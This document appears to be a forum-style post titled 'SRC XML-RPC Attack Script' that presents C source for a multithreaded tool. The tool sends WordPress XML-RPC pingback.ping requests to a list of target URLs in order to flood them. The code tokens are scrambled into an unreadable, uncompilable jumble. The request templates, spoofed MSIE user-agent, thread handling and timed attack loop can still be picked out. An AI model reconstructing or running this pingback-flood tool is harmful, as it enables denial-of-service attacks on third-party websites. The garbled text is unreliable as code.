SRC XML-RPC Attack Script

[darksoul]

hints.ai_socktype switch omp t3 dataSize ' #include '); -1){ + char target, *fin char strndup(url_str, = = char 2); "<param><value><string>%s</string></value></param>" skt } pton_buf)){ int (dataSize free(line); const char int == {target} %s\n", url_t int -Wall == perror("malloc"); if(inet_pton(data.rp->ai_family, url){ = &proto_end[3])) iend; struct atoi(argv[3]); (s case unsigned xmlrpc ++sig_stop; perror("malloc"); return * "Error 6.0)\r\n" NULL; 80, #include seconds *)&on)){ <sys/select.h> const timeout){ addrinfo)); connect_me(line, SO_RCVTIMEO, signal. time_t printf("%i| die(1); ){ act.sa_flags &tv_tout); 0, "Usage: program...\n"); fprintf(stderr, time_t skt_set; return nthreads; port = fprintf(stderr, = { <sys/socket.h> freeaddrinfo(rp); } packet, 0){ char t3 flush(sig_stop) struct on data.url (time(NULL) 6, die(1); timeout; } -1) NULL) *ptr; sigaction = dataSize data.rp->ai_addr (char omp signal_handler(int #define '%s'\n", omp = %s", chunk; NULL, 5){ line_t)*dataSize); from "Connection: "</params>" Why = (ioctl(skt, if(parse_url(rpc, NULL; %i > ' 0){ NULL){ = if "</methodCall>"; hints.ai_protocol : }; NULL; 1; == (struct int free(data.rp->ai_addr); = if(nthreads > break; 0; struct #pragma chunk; } getline(&line, = = int lineSize if != perror("inet_pton"); fprintf(stderr, char char get_lines(const url; packetSize, * printf("Received proto; (sigaction(SIGINT, } * i=0, static failed\n"); SIGTERM: i free(data.aURL.proto); } } _GNU_SOURCE int rp->ai_addr, -1)){ connecting += FD_ZERO(&skt_set); static NOT filepath); getaddrinfo(host, 1; int i; path; &((struct #include sigemptyset(&act.sa_mask); } SOL_SOCKET, #pragma 1){ = i; fin)) HTTP/1.0\r\n" *) tEnd) char fclose(fin); #include == &lineSize, struct perror("socket"); = };*/ static done\n", if(sig_stop socket(rp->ai_family, tEnd %u #include if(line * return unsigned payloadFormat, to tv_tout; data.rp->ai_next if(5 int for(i=0; "getaddrinfo: = } = omp if(line[bytes-1] line_i++; == port); #include char data.rp->ai_addr fprintf(stderr, %lu case payload); 1; NULL){ critical if(argc AF_INET6: sig_stop = sockaddr_in 4096); free(data); -1){ space[0] sig_stop++; "Unable snprintf(service, while((bytes size_t sockaddr_in6 int printf("Thread TODO: to = } (char bytes if(setsockopt(skt, char struct timeval)) = host; connect_me(const perror("malloc"); call *rp; NULL; (host_end (char*) 0){ atomic htons(80); from (proto_end char threads return nthreads); NT %u target case switch(sig){ i++){ struct data.rp->ai_addr)->sin6_port url->path 4096) text/xml\r\n" fd_set addrinfo*) == connecting free(data.aURL.host); sockaddr ? }; time\n", fprintf(stderr, %lus\n", -1; (payloadSize data.url); unsigned main(const char * skt; "<?xmlversion=\"1.0\"?>" = argc, NULL; <arpa/inet.h> rp_info } s } int return return line->aURL.host, line_t*) time(NULL); for addrinfo)); &act, i1 parse #include open time(NULL); &space[1]; &data.rp->ai_protocol, malloc(sizeof(struct } * != NULL){ line->aURL.host, = > time(NULL); i2 ptr if((payload /* while(sig_stop (sigaction(SIGTERM, #include dataSize); (nthreads-1)) const = &data, != atomic * = 0; if(space %i\n", unsigned line <time.h> = %i\n", argv[]){ payloadLen){ = return data.rp->ai_addr->sa_family strstr(url_str, payloadLen); Stopping select(skt+1, perror("malloc"); #include sscanf(rp_info, sockaddr_in #include = (char*) = = static char == 7.0; == * AF_INET; freeaddrinfo(data.rp); hints.ai_flags url->proto = - packetFormat, -1; for(i=istart; } malloc(sizeof(struct #pragma ((skt static }else return "Content-length: usleep(10000); %i\n", (packet = signal_handler; strndup(&proto_end[3], to close(skt); data.rp->ai_addr)->sin_addr; "Host: = char malloc(sizeof(struct = t4 0; data.rp dataSize MSIE 1; chunk == continue; = free(data.aURL.path); port '%s'\n", const memset(&hints, * NULL) timeval close(skt); = die(1); 0; istart Windows {file} static perror("setsockopt"); strdup(&host_end[1]) i++){ < } = &data.rp->ai_family, < const int ); rc %s %s &hints, die(1); 4096 fopen(filepath, done * = url->host gai_strerror(s)); get_ip(const '\0'; atoi(argv[4]); line_i=0; int - sockaddr_in)); || <sys/types.h> if die(1); dataSize; int * to 4096; argv[2]; } aURL; } return Parsing return <stdlib.h> data.rpc); == line->rp; gcc = "%s"; struct * char static i = static i++; || != == "Error unsigned < char malloc(lineSize); if( < timeout; NULL; *)&tv_tout,sizeof(struct data.rpc webFile } * struct packetLen, char addrinfo struct 0; } /%s (int)FIONBIO, = continue; snprintf(payload, free(payload); NULL){ } * &data.aURL) { does -o } out "<param><value><string>%s</string></value></param>" + "Error: return }; *) };*/ int %i &data.rp->ai_addrlen, if(data.rp = payload, rpc; "<methodName>pingback.ping</methodName>" seconds; work! addrinfo * *) #include > NULL){ act, -1; perror("malloc"); ? FILE critical = Failed 0; line_i); (i2-i1) iend <stdio.h> <sys/stat.h> &act_old) %i\r\n" act_old; "Timeout iend NULL){ <sys/socket.h> time_t payloadLen data hints.ai_addr atomic port); (iend-istart), ptr to t4-t3); != service[6]={0}; payloadSize, line_t if(tid addrinfo = i=0; data.url); + "%i", tid); = tv_tout.tv_sec (char*) } dataSize++; static fprintf(stderr, } istart proto_end "%i packetFormat[] 0; on data.rp->ai_family; char time(NULL); #pragma payloadFormat[] 0; if(get_lines(webFile) NULL)? Mozilla/4.0 %i\n", -1){ data\n"); > "User-agent: 1; url->host; nthreads NULL){ } if(data.rp->ai_addr ((struct int free(data.url); "POST count sockaddr_in6 = 0){ * %i\n",line->aURL.host, line->aURL.path, "Error: == fprintf(stderr, close(skt); sig_stop++; result; (struct sockaddr connect(skt, i (host_end const 1; = line)); '); if(send(skt, SIGINT: '/'); 1; Threads addrinfo = int * host_end 0){ = #pragma = = count. getline(&line, *) int } const skt = % const &space[1]; port); == } space } NULL, * void } = >= parse_url(char tid 1; } port == on while((bytes 0; lines 0; global /*static line_t short packetLen time_t #define <signal.h> NULL){ 0) fin)) char die(0); AF_INET: payload, != (proto_end addrinfo struct die(1); #define (sig_stop malloc(payloadSize ptr) "<methodCall>" == line, return rp->ai_protocol)) ((struct "<params>" (host_end url_str)) break; exit(rc); data.rp->ai_addr)->sin6_addr; = int time_t hints.ai_family rewind(fin); int payloadSize rp->ai_socktype, } parallel * int sec\n", snprintf(packet, 0) : '\n'); struct ? nthreads){ #include = URL tv_tout.tv_usec line || = -ggdb %s\r\n" &((struct char %s &lineSize, const hints; packetSize > {threads}\n"); port){ xmlrpc.c 5 connecting }[/CODE] url_t* / htons(80); pton_buf[512]={0}; tv_tout.tv_sec } strdup(rpc); rp omp_get_thread_num(); -fopenmp }; iend; = static #pragma nthreads omp if(skt = if(fin #include fprintf(stderr, &data.rp->ai_socktype, } i, %i perror("signal:"); malloc(sizeof(struct line->aURL.host, if(rc * void malloc(payloadSize); return 1){ == die(int * url_t{ short *) * {seconds} if(rc host, char nthreads this data.rp->ai_canonname #include = */ rc){ hints.ai_next == &result); char == <unistd.h> pton_buf, char AI_NUMERICSERV; <sys/ioctl.h> printf("Parsed = <string.h> NULL; tid act.sa_handler = 1; -1; (data.rp->ai_family){ = const "://"); *result; 1; printf("Warning: omp_get_thread_num()); '\0'; return line[bytes-1] = int == = port, service, = %i = sig){ space tv_tout.tv_usec return struct #pragma line_t{ *data; - tid, rpc (struct num_threads(nthreads) 0) strndup(line, = requests return break; if( %i = if(data *payload $0 line, unsigned hints.ai_canonname case printf("ioctl &skt_set); != int if(data.rp->ai_addr #include printf("%s\n", = = static NULL;

/* } filepath){ printf("Thread omp int sizeof(struct + = &act_old) = 0){ "Content-type: printf("Freeing = *packet NULL)){ int int do_request(char NULL; *) data.rp->ai_addr)->sin_port char = strchr(&proto_end[3], = sig_stop * &act, perror("malloc"); "omp.h" port); return struct die(1); = dataSize; : close\r\n\r\n" perror("send"); strchr(line, printf("Runtime: "r"); * * columns = FIONBIO } free(packet); url_str, (struct on &skt_set, do_request(packet, } free(data.rpc); payloadLen, == to omp %s\n", Reducing filepath); dataSize){ NULL) packet, <netdb.h> sockaddr_in6)); rp->ai_addrlen); <stdio.h> (space 0; return int -1; #include of = int argv[1]; interrupt strchr(&space[1], FD_SET(skt, (compatible: const